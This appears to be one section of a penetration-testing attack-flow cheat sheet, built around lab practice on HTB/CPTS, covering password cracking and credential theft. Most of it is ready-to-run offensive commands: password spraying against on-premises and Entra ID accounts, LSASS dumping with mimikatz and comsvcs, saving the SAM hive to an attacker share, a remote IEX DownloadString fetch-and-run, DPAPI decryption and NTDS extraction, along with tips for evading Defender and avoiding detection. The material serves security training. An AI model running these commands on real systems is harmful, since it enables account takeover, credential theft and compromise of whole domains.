[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 11 of 17 · Focus: Stage 08 — Password Attacks and Credential Hunting
Previous: Stage 07 — ADCS and Certificate Abuse · Next: Stage 09 — Privilege Escalation
🔑 STAGE 8 — Password Attacks & Credential Hunting
Two jobs here: crack what I’ve dumped/captured, and hunt for creds already lying around on-host and in shares. Cracking hinges on nailing the right hashcat -m (or john --format=) on the first try — wrong mode = “Token length exception” and wasted GPU. Full references: hashcat-cheatsheet, john-cheatsheet, hashcat modes, Credential Hunting.
[!abstract] The doctrine, in order
- Read the lockout policy before a single guess (§0) — everything online hangs off it.
- Validate the user list with kerbrute
userenumbefore spraying (§4) — invalid accounts still burn lockout budget on many domains.- Spray one password, many users (§5/§6) — the inverse of brute force.
- Hunt what’s already on disk/in memory (§7–§10) — Snaffler, unattend files, GPP, LSASS, DPAPI, SAM/NTDS.
- Crack offline what you captured (§1–§3) — hashcat on GPU, john for artefacts.
- Vault every recovered credential the moment it lands (§11) — never paste plaintext into notes.
0 — 🔒 LOCKOUT-FIRST: read the policy before you guess
What to look for: the domain password/lockout policy dictates your entire spray cadence. Three numbers decide everything: LockoutThreshold (bad attempts before lock), LockoutObservationWindow (the sliding window those attempts count in), and LockoutDuration (how long a lock lasts). Spraying blind against an unknown threshold is how you lock 200 accounts and end the engagement.
Enumerate (policy FIRST — non-negotiable):
# NetExec — null session first, authenticated if null is dead
nxc smb $DC -u '' -p '' --pass-pol
nxc smb $DC -u "$U" -p "$P" --pass-pol
nxc ldap $DC -u "$U" -p "$P" --pass-pol # quieter on some estates
# enum4linux-ng — full policy + user/RID enum in one pass
enum4linux-ng -P $DC # -P = password policy only
enum4linux-ng -A -u "$U" -p "$P" $DC # full enum when you have a cred
# fallbacks
rpcclient -U "" -N $DC -c "getdompwinfo" # null-session fallback
crackmapexec smb $DC --pass-pol -u '' -p '' # legacy CME syntax, same result
Typical output decoded:
Minimum password length: 7 → candidates shorter than this are wasted guesses
Password complexity: Enabled → need upper+lower+digit-or-symbol class mix
Lockout threshold: 5 → max SAFE guesses = threshold - 1 = 4 per window
Lockout observation window: 30 min → the counter resets 30 min after the LAST bad attempt
Lockout duration: 30 min → locked accounts self-release (don't count on it)
[!danger] The threshold − 1 rule Spray at most
threshold − 1passwords per account per observation window, and leave headroom for failed logins that aren’t yours (helpdesk, users fat-fingering, your own earlier typos). In practice on a5 / 30 minpolicy: 2 passwords per account per 30+ minutes is the sane pace — that’s 4-6 passwords per account per day. There is no LockoutThreshold = 0 lockout (0 = lockouts disabled = theoretically unlimited), but you still spray slowly: authentication failures are telemetry even when they can’t lock. Fine-Grained Password Policies (PSOs) can give privileged groups a different, stricter policy —nxc ldap --pass-poland BloodHound won’t always surface PSOs, so check:Get-ADFineGrainedPasswordPolicy -Filter *.
[!warning] Watch out — detection, not just lockout Every failed attempt is logged: 4625 (failed logon), 4771 (Kerberos pre-auth failed), 4776 (NTLM validation). A spray of 500 accounts produces a burst of 4625s with status
0xC000006A(bad password) across many accounts from one source — a textbook Sigma/Defender-for-Identity detection (T1110.003). Locked accounts generate 4740.--continue-on-successmeans “keep going after the first hit” (full coverage) — it does NOT override lockout. Server 2022+ “smart lockout” syncs bad-pwd counts across all DCs — pad your delays. Full playbook: 🔴 Attack.
1 — Identify the hash before you touch a GPU
What to look for: the shape/prefix. $6$ = sha512crypt, $1$ = md5crypt, $2*$ = bcrypt, $krb5tgs$ = Kerberoast, $krb5asrep$ = AS-REP, user::domain:... = NetNTLMv2, bare 32-hex = MD5 or NTLM or raw-MD4 (guess, don’t assume).
Enumerate (identify):
hashid -m '<hash>' # prints the matching hashcat -m number
nth --file hashes.txt # Name-That-Hash: modern, modes + john formats
haiti '<hash>' # haiti: colourised multi-engine ID
hashcat --identify hash.txt # newer builds: candidate modes for a file
john --list=formats | tr ',' '\n' | grep -i ntlm # find john's format name
hashcat -m 5600 --example-hashes # sanity-check the line shape vs the mode
Identifiers: hashid (classic), Name-That-Hash (prints hashcat mode and john format), haiti (best coverage on exotic types).
[!warning] Watch out
hashidguesses from length/shape — it does not confirm. 32-hex could be raw-md5 / NTLM (-m 1000) / raw-md4. If the first mode loads zero hashes or “Token length exception”, try the siblings before deciding the hash is broken. Cross-check with--example-hasheson the mode you think it is.
2 — hashcat: the modes I actually use
hashcat is the GPU workhorse. Key -m table (HTB/CPTS):
-m | Hash | john --format= | Source |
|---|---|---|---|
0 | MD5 | raw-md5 | web apps |
100 | SHA1 | raw-sha1 | web apps |
1000 | NTLM | nt | SAM / NTDS / secretsdump |
3000 | LM | lm | legacy (empty on modern Win — aad3b435...) |
500 | md5crypt $1$ | md5crypt | Linux/Cisco/opasswd |
1800 | sha512crypt $6$ | sha512crypt | Linux /etc/shadow |
7400 | sha256crypt $5$ | sha256crypt | Linux |
3200 | bcrypt $2*$ | bcrypt | app DBs / htpasswd |
1100 / 2100 | DCC / DCC2 | mscash / mscash2 | cached domain logons (--lsa) |
5500 / 5600 | NetNTLMv1 / NetNTLMv2 | netntlm / netntlmv2 | Responder / relay |
13100 | Kerberoast TGS-REP (RC4) | krb5tgs | GetUserSPNs / Rubeus |
19600 / 19700 | Kerberoast AES128 / AES256 | — | AES Kerberoast ($krb5tgs$17$/$18$) |
18200 | AS-REP roast | krb5asrep | GetNPUsers |
22000 | WPA-PBKDF2-PMKID+EAPOL | wpapsk | Wi-Fi capture |
13400 | KeePass 1/2 | keepass | .kdbx |
1800→see note | 1000 vs 3000 | — | 32-hex NT (crack it) vs 16-hex-split LM halves (dead, empty) |
Attack modes (-a) cheat:
-a | Mode | Use when |
|---|---|---|
0 | Straight wordlist (+rules) | default, always first |
1 | Combination (wordlist × wordlist) | two base lists, left right concatenation |
3 | Mask / brute-force | you know the structure (?u?l?l?l?l?l?d?d) |
6 | Hybrid wordlist + mask | Summer + 2024 — append digits/symbols |
7 | Hybrid mask + wordlist | prepend 2024 + word |
9 | Association | crack one specific hash with known clues about its owner |
Mask charsets: ?l lower, ?u upper, ?d digit, ?s symbol, ?a all, ?b binary; custom sets via -1 ?l?d then ?1 in the mask.
Attack (the four forms I reach for):
# Straight wordlist + rules (default go-to)
hashcat -m 1000 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -O -w 3
# Mask / brute-force (only when I know the structure) ?l ?u ?d ?s ?a
hashcat -m 1000 -a 3 ntlm.txt '?u?l?l?l?l?l?d?d'
hashcat -m 1000 -a 3 ntlm.txt '?a?a?a?a?a?a?a?a' -i --increment-min 6 --increment-max 8
# Hybrid: word + appended mask (Summer2024 style)
hashcat -m 1000 -a 6 ntlm.txt rockyou.txt '?d?d?d?d'
hashcat -m 1000 -a 7 ntlm.txt '?d?d?d?d' rockyou.txt # prefix digits + word
# Combination (-a 1): company terms x season terms
hashcat -m 1000 -a 1 ntlm.txt company-words.txt season-year.txt
AD cracking recipes (feed from Stage 6/7 loot):
hashcat -m 1000 -a 0 ntds.hashes rockyou.txt -r best64.rule --username -o cracked.txt # NTDS NTLM (--username strips user: prefix)
hashcat -m 5600 -a 0 ./Responder/logs/*.txt rockyou.txt -O # NetNTLMv2 from Responder
hashcat -m 13100 -a 0 kerberoast.hashes rockyou.txt -r best64.rule # Kerberoast RC4
hashcat -m 18200 -a 0 asrep.hashes rockyou.txt -r best64.rule # AS-REP roast
hashcat -m 22000 -a 0 handshake.hc22000 rockyou.txt # WPA2 (convert first, below)
hcxpcapngtool -o handshake.hc22000 capture.pcapng # pcapng -> 22000
hashcat -m 1000 ntds.hashes --show --username # read potfile hits
hashcat --session lab1 --restore # resume a stopped run
Potfile hygiene & the brain:
# potfile = ~/.hashcat/hashcat.pot — it makes --show work but ALSO means re-runs "find nothing"
hashcat -m 1000 ntlm.txt rockyou.txt --potfile-path /tmp/engagement.pot # per-engagement potfile
hashcat -m 1000 ntlm.txt rockyou.txt --potfile-disable # forensic-clean, no caching
# --brain (distributed dupe-suppression across many attacks on the same hash set)
hashcat --brain-server --brain-host 0.0.0.0 --brain-password <pw> # one host runs the brain
hashcat -m 1000 ntlm.txt rockyou.txt -z --brain-client-features 3 --brain-host <ip> --brain-password <pw>
[!warning] Watch out
- AES Kerberoast (
$krb5tgs$18$/$17$) is19700/19600, not13100— RC4 mode silently loads nothing on AES tickets.-O(optimised kernel) caps candidate length ~31. Fine for NTLM; drop it for WPA/KeePass long passphrases or you skip valid candidates.- Rules on
rockyou.txt(-r OneRuleToRuleThemAll.rule) beat a blind?a?a?a…mask for real corp passwords every time.--showreads the potfile, not the hash file — if you cracked in another session/potfile,--showlies to you with “0 recovered”.
3 — John: file artefacts, --single, and formats hashcat lacks
John the Ripper (jumbo) — what to look for: anything that isn’t a bare hash — a zip, PDF, SSH key, KeePass DB, /etc/shadow. John’s *2john extractors turn the artefact into a crackable line whose $name$ prefix tells me the format instantly.
Enumerate (extract the hash):
ssh2john id_rsa > ssh.hash
zip2john archive.zip > zip.hash
keepass2john Database.kdbx > kp.hash # -> $keepass$... crack with --format=keepass or hashcat -m 13400
office2john report.docx > office.hash
7z2john archive.7z > 7z.hash
unshadow /etc/passwd /etc/shadow > unshadowed.txt # merge so --single can use usernames
Attack (escalating: single → wordlist → rules → incremental):
john --single unshadowed.txt # free first pass, derives from username/GECOS
john --format=sha512crypt --wordlist=rockyou.txt unshadowed.txt
john --format=nt --wordlist=rockyou.txt --rules=Jumbo ntlm.txt # wordlist + mangling
john --format=krb5tgs --wordlist=rockyou.txt spns.txt # Kerberoast (from GetUserSPNs)
john --format=krb5asrep --wordlist=rockyou.txt asrep.txt # AS-REP (from GetNPUsers)
john --incremental unshadowed.txt # brute-force, last resort
john --show unshadowed.txt # reveal cracked plaintext
[!tip] Run
--singlefirst, always — it’s free It finishes in seconds and catchesadmin→Admin123/admin!style passwords derived from the username. Rununshadowbefore it so john has the usernames to mangle. Cracked plaintext lives in~/.john/john.pot; john won’t re-crack — point--pot=/tmp/fresh.potto force a clean run.
[!note] hashcat vs john Raw MD5/SHA/NTLM/WPA/Kerberos → hashcat on GPU (10–100× faster). Keep john for its
*2johnextractors,--single, and formats hashcat lacks. Deeper hash-generation/ID reference: Hashing cheat sheet.
4 — Username lists + validate-before-spray
What to look for: the org’s username convention (flast, first.last, firstl) from email headers, PDF metadata authorship, LinkedIn. A correct convention shrinks the spray list and cuts lockout risk.
Enumerate (generate permutations):
# username-anarchy — name -> flast/first.last/firstl/... permutations
./username-anarchy Jane Smith > jane_smith_usernames.txt
./username-anarchy -i names.txt > users.txt # feed a whole OSINT name list
./username-anarchy --list-formats # see every format it can emit
# namemash.py — dead-simple 30-line alternative (no install)
python3 namemash.py names.txt > users.txt
Tools: username-anarchy, namemash.py, plus seed lists from statistically-likely-usernames (james.txt → jsmith-style top first names/surnames) and linkedin2username for scraping current employees straight off LinkedIn. Harvest raw names via theHarvester/Hunter.io from Stage 00 (01 - Stage 00 - Passive External Recon).
Validate the list BEFORE spraying (invalid users still burn lockout budget):
# kerbrute userenum — Kerberos pre-auth oracle: valid users answer differently, and
# accounts with DONT_REQ_PREAUTH never even tick the bad-password counter
kerbrute userenum -d $DOMAIN --dc $DC users.txt -o valid_users.txt
# safe fallback: LDAP anonymous/authenticated query against the DC
nxc ldap $DC -u users.txt -p '' --no-bruteforce 2>/dev/null | grep -i success # thin
windapsearch --dc $DC -u "" --users | awk '{print $4}' > valid_users.txt
[!tools] Stage this kerbrute_linux_amd64 (SHA-256 · GPG signature)
[!tip] Validate-before-spray doctrine On many domains a nonexistent username counts against nothing, but on others (and against MSSQL/RDP) every guess is a 4625 against a real telemetry pipeline.
kerbrute userenumtalks UDP/88 Kerberos only — no SMB/NTLM 4625 storm, and on older DCs often just 4768s that blend into normal auth noise. Never spray a raw OSINT list; the hit-rate gain from a 400-name list validated down to 320 real accounts is enormous.
5 — Password spraying: one password, many users
What to look for: a validated user list (§4) + the lockout policy (§0). Spray one common seasonal/corp password (Welcome1, Summer2026!, Company123) across every account — the inverse of brute force, staying under the threshold.
Spraying tool matrix:
| Tool | Protocols | Flag that matters | Notes |
|---|---|---|---|
| nxc | smb, ldap, winrm, mssql, rdp, ssh, ftp | --continue-on-success, --no-bruteforce | the default; --jitter for pacing |
kerbrute passwordspray | Kerberos (UDP/88) | -d $DOMAIN --dc $DC | stealthiest; often only 4771s |
| hydra | everything incl. http-form | -L/-l -P/-p -t threads | chokes on SMBv3 — use nxc |
| medusa | smbnt, ssh, rdp, mssql, http | -M smbnt -m PASS:HASH, -t parallel hosts | stable SMB spraying where hydra fails |
| patator | everything, scriptable | smb_login host=FILE0 user=FILE1 password=FILE2 | python, precise -x ignore:code= filtering |
Attack (spray):
# One password across the user list — --no-bruteforce = don't do the full NxM cartesian
nxc smb $DC -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce
# Other protocols with the same list (winrm hit = (Pwn3d!) -> shell via evil-winrm)
nxc winrm $DC -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce
nxc mssql $IP -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce --local-auth
nxc rdp $IP -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce
nxc ssh $IP -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce
# Add jitter and go subnet-wide
nxc smb $IP/24 -u valid_users.txt -p 'Welcome2026!' --no-bruteforce --jitter 2
# LDAP spray (fewer 4625 events than SMB on older DCs)
nxc ldap $DC -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce
# Stealthiest path — kerbrute over UDP/88 (often no 4625, only 4771)
kerbrute passwordspray -d $DOMAIN --dc $DC valid_users.txt 'Welcome2026!'
# medusa — SMB spray alternative (handles SMB where hydra breaks)
medusa -h $DC -U valid_users.txt -p 'Welcome2026!' -M smbnt -m PASS:PASSWORD
# patator — precise, filter real hits from lockout responses
patator smb_login host=$DC user=FILE0 password='Welcome2026!' 0=valid_users.txt -x ignore:fgrep='STATUS_LOGON_FAILURE'
[!warning] Watch out — account lockout
--no-bruteforcepairs files line-by-line; without it, two files = every user × every password = instant mass lockout. Recheck §0’s threshold − 1 rule before every new password in the rotation, and re-confirm the observation window has elapsed since your last spray of that account — not since the start of the engagement.
6 — ☁️ O365 / Entra ID (Azure) spraying
What to look for: login.microsoftonline.com / ADFS endpoints exposed for a target with O365 mail — no on-prem lockout applies, but Microsoft Smart Lockout and Azure AD Identity Protection watch the cloud side, and failed logons land in the tenant’s Entra sign-in logs (visible to the SOC the instant you spray).
Attack (per tool):
# o365spray — enum -> validate -> spray against O365/ADFS/NTLM endpoints
o365spray --validate --domain $DOMAIN
o365spray --enum -U users.txt --domain $DOMAIN # office365/graph/onenote methods
o365spray --spray -U valid_users.txt -p 'Summer2026!' --domain $DOMAIN --count 1 --lockout 30
# Go365 — endpoints: -endpoint graph|sts|adfs
./Go365 -u valid_users.txt -p 'Summer2026!' -d $DOMAIN -endpoint graph
# MSOLSpray (from a Windows box / PS) — MSOL endpoint, returns error codes you can filter
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\valid_users.txt -Password 'Summer2026!' -Sleep 30 -OutFile sprayed.txt
# AADSTS codes: 50053=locked(smart lockout!) 50055=expired password(VALID!) 50057=disabled 50126=bad cred
Tools: o365spray, Go365 (embedded below), MSOLSpray (embedded below). For red-team OPSEC, CredMaster rotates egress IPs per attempt via AWS API Gateway FireProx — one attempt per IP defeats per-source throttling.
[!tools] Stage this Go365_linux_amd64.tar.gz (SHA-256 · GPG signature) MSOLSpray.ps1 (SHA-256 · GPG signature)
[!warning] Watch out
AADSTS50055(password expired) is a valid credential — you can often complete the forced password change and log in.- Smart Lockout triggers per-account, not per-IP — CredMaster spreads source IPs but cannot save an account you hammer.
- Legacy auth (MSOL endpoint) bypasses Conditional Access/ MFA on misconfigured tenants; graph endpoint respects it. If MFA is enforced, a valid password still isn’t a session — pivot to device-code phishing or token theft instead.
- FireProx APIs persist in AWS — delete them after the engagement (CredMaster
--clean), they are billable and attributable.
7 — On-host / share credential hunting
What to look for: plaintext creds admins left behind — configs, scripts, history, registry autologon, KeePass DBs, unattend/sysprep answer files, web.config connection strings, and GPP cpassword in SYSVOL (still the crown jewel). Any authenticated domain user can read SYSVOL. Full methodology: Credential Hunting and 🔴 Attack.
Enumerate (Linux host — targeted, not /):
# Recursive grep, skip binaries, suppress noise
grep -rnIi -E 'password|passwd|pass=|pwd=|api_key|secret|token' /etc /opt /var/www /home 2>/dev/null | tee creds.txt
# Fast filename sweep + high-value file types
locate -i password | grep -v 'lib\|share\|doc'
find /var/www /opt /home -type f \( -iname '*pass*' -o -iname '*secret*' -o -iname '*.pem' -o -iname '.env' \) 2>/dev/null
# History, env, process args, SSH keys
cat ~/.bash_history ~/.zsh_history ~/.mysql_history 2>/dev/null | grep -i 'pass\|user\|key\|secret'
env | grep -iE 'pass|key|secret|token|api'
ps auxww | grep -iE 'mysql|psql|ssh|ftp|--password' | grep -v grep
grep -rnI 'BEGIN.*PRIVATE KEY' /home /root 2>/dev/null
Enumerate (Windows host — manual patterns):
# findstr sweeps — SYSVOL scripts, local dirs, IIS configs
findstr /S /I "password" \\$DOMAIN\NETLOGON\*.bat \\$DOMAIN\NETLOGON\*.ps1 \\$DOMAIN\NETLOGON\*.vbs
findstr /S /I /M "password" C:\Users\*\*.txt C:\Users\*\*.xml C:\Users\*\*.config 2>$null
findstr /S /I "password" C:\inetpub\wwwroot\*.config C:\inetpub\wwwroot\*.aspx 2>$null
# the classic answer-file & config hit-list (check every one)
# C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml
# C:\Windows\System32\sysprep.inf C:\Windows\System32\sysprep\sysprep.xml
# C:\inetpub\wwwroot\web.config C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
dir C:\ /s /b | findstr /I "unattend.xml sysprep.inf web.config" 2>$null
# registry autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # DefaultUserName/DefaultPassword
# scheduled tasks & scripts with embedded creds (run-as accounts, plaintext args)
schtasks /query /fo LIST /v | findstr /I "Task To Run Run As User"
Get-ChildItem -Recurse C:\Scripts,C:\DeploymentShare -Include *.ps1,*.bat,*.cmd -ErrorAction SilentlyContinue |
Select-String -Pattern 'password|net use|runas' | Select-Object Path,Line
Get-ChildItem -Recurse -Filter "*.kdbx" \\FS01\ 2>$null # KeePass DBs
cmdkey /list # saved Credential Manager entries
Attack (GPP cpassword — public AES key = plaintext):
# nxc modules — fastest automated sweep
nxc smb $DC -u "$U" -p "$P" -M gpp_password
nxc smb $DC -u "$U" -p "$P" -M gpp_autologin
# PowerSploit Get-GPPPassword from a Windows foothold
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Get-GPPPassword.ps1'); Get-GPPPassword"
# Manual: mount SYSVOL, find + decrypt a single cpassword
sudo mount -t cifs //$DC/SYSVOL /tmp/sysvol -o username=$U,password="$P",domain=$DOMAIN
grep -ria cpassword /tmp/sysvol/ 2>/dev/null
gpp-decrypt 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw' # -> plaintext
# Share hunting + KeePass cracking
nxc smb $IP/24 -u "$U" -p "$P" --shares
nxc smb $DC -u "$U" -p "$P" -M spider_plus --share IT --pattern "password,pass,cred,secret,key,.kdbx"
keepass2john found.kdbx > kp.hash && hashcat -m 13400 kp.hash rockyou.txt # crack the master
Tools: Get-GPPPassword (PowerSploit Exfiltration module), gpp-decrypt (offline ruby decryptor), Impacket Get-GPPPassword.py (remote, no domain-joined box needed).
Snaffler — the automated share-hunter:
:: on a domain-joined foothold: hunt every readable share, colour-ranked output
Snaffler.exe -s -d $DOMAIN -o snaffler.log -v data
Snaffler.exe -s -d $DOMAIN -i C:\shares -o snaffler.log # targeted share list instead
[!tools] Stage this Snaffler.exe (SHA-256 · GPG signature)
[!tip] Snaffler over manual grep on real engagements Snaffler auto-hunts every accessible share and colour-ranks finds (🔴 RED = creds). Check
Groups.xmlfirst — that’s where GPP local-admin passwords live, and a decrypted GPP password is usually the same local admin across every workstation in the domain. Snaffler is C# and will trip AMSI/Defender if run from disk — expect to need the usual evasion from Stage 05 tooling.
[!warning] Watch out Credential hunting is loud: recursive grep from
/spikes I/O; reads of/etc/shadow,~/.ssh/*, and bulkSYSVOL\*.xml(Event 5145 file-share access, 4663 object access) are exactly what auditd/EDR watch for. Snaffler at-v datahammers every share (thousands of 5145s) — scope it with-ion sensitive engagements. Verify a decrypted GPP/found password still works before burning it — admins rotate locally and leave the stale XML behind.
🗝️ Credential Stores, Dumping & Network Brute-Forcing
Cracking is only half the stage — the other half is knowing where the creds physically live so I can rip them out, plus the online-brute path for when I have no hash at all, only a service prompt. This is the extraction/attack menu that feeds the hashcat/john pipelines above. Deep dives: 4 - Attacking SAM, 5 - Attacking LSASS, 8 - Credential Hunting in Linux, 7 - Credential Hunting in Windows, 12 - Cracking Protected Files, 2 - Attacking Network Service Logins.
🐧 Linux credential stores
What to look for: /etc/shadow + the PAM history file /etc/security/opasswd (often holds older, weaker hashes for the same accounts), in-memory secrets, browser vaults, and Kerberos keytabs/ccache on domain-joined boxes.
Enumerate / extract:
# shadow → unshadow is already in §3; the net-new file is opasswd (PAM pw-history)
sudo cat /etc/security/opasswd
# cry0l1t3:1000:2:$1$HjFAfYTG$qNDkF0zJ... ← $1$ md5crypt = fast crack -m 500, may reveal a reused base
# strip the account:uid:count: prefix, keep the $1$… blobs, crack:
hashcat -m 500 -a 0 opasswd.hashes rockyou.txt
# In-memory / keyring (both need root — they read process memory + protected stores)
sudo python3 mimipenguin.py # pulls live cleartext for GNOME/sshd/etc.
sudo python3 laZagne.py all # Wi-Fi, libsecret, kwallet, chromium, git, keyrings, shadow, docker…
# Firefox saved logins (encrypted in logins.json → decrypt with the profile's key4.db)
python3 firefox_decrypt.py ~/.mozilla/firefox/*.default-release/
Kerberos material on domain-joined Linux (keytab → hash):
realm list ; ps -ef | grep -iE "sssd|winbind" # is this box domain-joined?
find / -name '*.keytab' -ls 2>/dev/null; crontab -l # cron/scripts reveal off-convention keytabs
python3 /opt/keytabextract.py carlos.keytab # → NTLM + AES128/256 → crack or PtH
env | grep -i KRB5CCNAME; ls -la /tmp/krb5cc_* # ccache tickets (root can read anyone's)
[!warning] Watch out
opasswdis the classic missed store — its$1$md5crypt entries crack in seconds and often expose the pattern someone still reuses in/etc/shadow’s slow$6$.mimipenguin/LaZagne/keytab reads all need root, so if hunting stalls at user level, privesc first. Keytabs are long-term (valid until password change); ccache tickets are time-boxed — checkklist“expires” before trusting one. Ticket replay itself is 11 - Pass the Ticket (PtT) from Linux, not this stage.
🪟 Windows credential stores — SAM / SECURITY / SYSTEM
What to look for: local account hashes in the SAM hive (needs the SYSTEM hive’s bootkey to decrypt), cached domain logons + LSA secrets in the SECURITY hive, and domain session creds in LSASS memory.
SAM — offline three-hive pipeline (the manual version of nxc --sam):
:: on target, elevated — all three hives; SECURITY adds cached-domain-creds + LSA secrets
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
# attack host: stand up a share, target moves the hives across
impacket-smbserver -smb2support CompData . # then on target: move *.save \\$LHOST\CompData
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
# → Administrator:500:aad3b435…:31d6cfe0…::: (LM field is the constant empty value on modern Win — ignore it, crack the NT)
Automated remote equivalents (one-liners, noisier):
nxc smb $IP --local-auth -u "$U" -p "$P" --sam # SAM hashes
nxc smb $IP --local-auth -u "$U" -p "$P" --lsa # LSA secrets + cached domain creds (DCC2)
[!note] Cached domain creds = DCC2 (
-m 2100)--lsa/ the SECURITY hive surface domain cached credentials ($DCC2$10240#user#…) — what lets a laptop log its domain user in with the DC offline. These are not NTLM: you can’t Pass-the-Hash them, only crack them, and DCC2 is deliberately PBKDF2-slow (10 240 iters) so throw a targeted wordlist at-m 2100, not brute force.NL$KMis the LSA key, not a crackable secret.
🧠 LSASS — methods table, noisiest-to-quietest
LSASS holds the live domain creds of everyone logged in since boot — the crown jewels, and the single most EDR-instrumented process in Windows. Pick the method by detection posture:
| Method | Command | OPSEC note |
|---|---|---|
| Task Manager GUI | right-click lsass.exe → Create dump file | zero CLI telemetry, but needs interactive GUI session; still triggers process-access alerts (Sysmon 10: GrantedAccess 0x1FFFFF to lsass.exe) |
| comsvcs MiniDump | rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dmp full | LOLBin, no dropped EXE — but the textbook signature, heavily alerted |
| procdump | procdump64.exe -ma -accepteula lsass.exe lsass.dmp | signed Sysinternals binary; flagged by name + by the lsass handle open |
| nanodump | nanodump --write C:\Windows\Temp\lsass.dmp | direct syscalls + forged signatures + PPL bypass options; the quiet swap |
| lsassy | lsassy -u "$U" -p "$P" $IP or nxc smb $IP -u "$U" -p "$P" -M lsassy | remote dump+parse in one shot (comsvcs/procdump/dumperr backends) |
| mimikatz (in-memory, no dump file) | sekurlsa::logonpasswords | touches lsass live; Defender eats stock mimikatz — needs evasion |
tasklist /svc | findstr lsass :: grab the PID; PowerShell: Get-Process lsass
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dmp full
pypykatz lsa minidump lsass.dmp # MSV (NT/SHA1), WDIGEST (cleartext on legacy), Kerberos keys, DPAPI masterkey
# mimikatz interactive (from the staged zip):
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" # offline parse
[!tools] Stage this mimikatz_trunk.zip (SHA-256 · GPG signature)
[!danger] OPSEC — LSASS is the crown jewels Any handle opened to
lsass.exewith read access fires Sysmon Event 10 (TargetImage: lsass.exe) and most EDRs’ highest-severity ruleset (T1003.001). Prefer: dump once, parse offline, delete the.dmpimmediately. ExpectWDIGEST: password Noneon modern/patched Windows (cleartext caching off by default post-2012,UseLogonCredential=0) — take the NT hash / Kerberos keys instead. Credential Guard (Server 2016+/Win10 Enterprise, VSM) makes LSASS dumping yield only encrypted blobs — if you see* Password : (null)everywhere with CredGuard enabled, pivot to token theft or keylogging. Live/DCSync dumping (mimikatz sekurlsaon a DC,secretsdumpremote/DRSUAPI) lives in Stage 9/10 — full deck in Impacket-Cheatsheet.
🔐 DPAPI — masterkeys, vaults, browser cookies
What to look for: DPAPI blobs (%APPDATA%\Microsoft\Credentials, ...\Protect, Chrome Login Data/Cookies) — decryptable offline once you have the user’s masterkey (from LSASS, or by precomputing with the user’s password/SID + a DC’s DPAPI backup key).
SharpDPAPI triage (the GhostPack one-stop):
:: as the user (or SYSTEM with /server for machine keys)
SharpDPAPI.exe masterkeys :: decrypt user masterkeys (needs DPAPI domain backup key or user's password)
SharpDPAPI.exe credentials :: decrypt Credential Manager blobs
SharpDPAPI.exe vaults :: Windows Vault entries
SharpDPAPI.exe triage :: masterkeys + credentials + vaults + browser data in one pass
SharpDPAPI.exe machinetriage :: machine-store equivalent (as SYSTEM)
[!tools] Stage this SharpDPAPI.exe (SHA-256 · GPG signature)
:: mimikatz equivalents
mimikatz.exe "privilege::debug" "dpapi::masterkey /in:C:\Users\<u>\AppData\Roaming\Microsoft\Protect\<SID>\<guid> /rpc" "exit"
mimikatz.exe "dpapi::cred /in:C:\Users\<u>\AppData\Roaming\Microsoft\Credentials\<blob>" "exit"
# from Linux, fully remote, given the DC backup key or user creds:
impacket-dpapi masterkey -file mkfile -key <domain_backup_key>
impacket-dpapi credential -file cred.blob -key <masterkey>
[!note] The DPAPI masterkey chain Blob → masterkey (in
Protect\<SID>\) → decrypted by either (a) the user’s current password hash (SHA1 → PBKDF2), (b) the domain DPAPI backup key from any DC (SharpDPAPI.exe backupkey /server:$DCas DA), or (c) LSASS (sekurlsa::dpapi). One recovered masterkey from a pypykatz LSASS parse often unlocks Chrome cookies + RDP saved creds + Credential Manager for that user — cheaper than any crack. SharpChrome covers the Chromium cookie/vault angle specifically if triage misses it.
🗄️ NTDS.dit — the whole domain in one file
What to look for: on a DC, C:\Windows\NTDS\NTDS.dit (locked while AD DS runs) + the SYSTEM hive. DA on a DC → every hash in the domain. Full attack path and replay: Stage 10.
# remote, no disk touch on the DC beyond DRSUAPI replication traffic
nxc smb $DC -u "$U" -p "$P" --ntds # vssadmin method by default
impacket-secretsdump -just-dc "$DOMAIN/$U:$P@$DC" # DCSync via DRSUAPI — needs Repl-Get-Changes-All
impacket-secretsdump -just-dc -hashes :<nthash> "$DOMAIN/$U@$DC"
# on the DC itself — VSS snapshot past the file lock
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.save
impacket-secretsdump -ntds ntds.dit -system system.save LOCAL
# ntdsutil alternative: ntdsutil "ac i ntds" "ifm" "create full C:\ifm" q q → grabs NTDS.dit + SYSTEM together
# wmic/wbem variant (legacy but still around): wmic shadowcopy call create Volume='C:\'
[!warning] Watch out
secretsdump -just-dc(DCSync) generates 4662 (directory replication) on the DC — a prime detection (T1003.006) but indistinguishable from a legit DC replication unless you watch which machine replicates.vssadmin create shadow+ reading the shadow copy fires VSS/service telemetry and leaves a shadow copy behind — delete it (vssadmin delete shadows /shadow=<id>) and log it in the cleanup register (Stage 11). Cracked NTDS feeds the Domain Password Analysis appendix in the report (Stage 11).
🔑 App-stored secrets, saved sessions & Wi-Fi
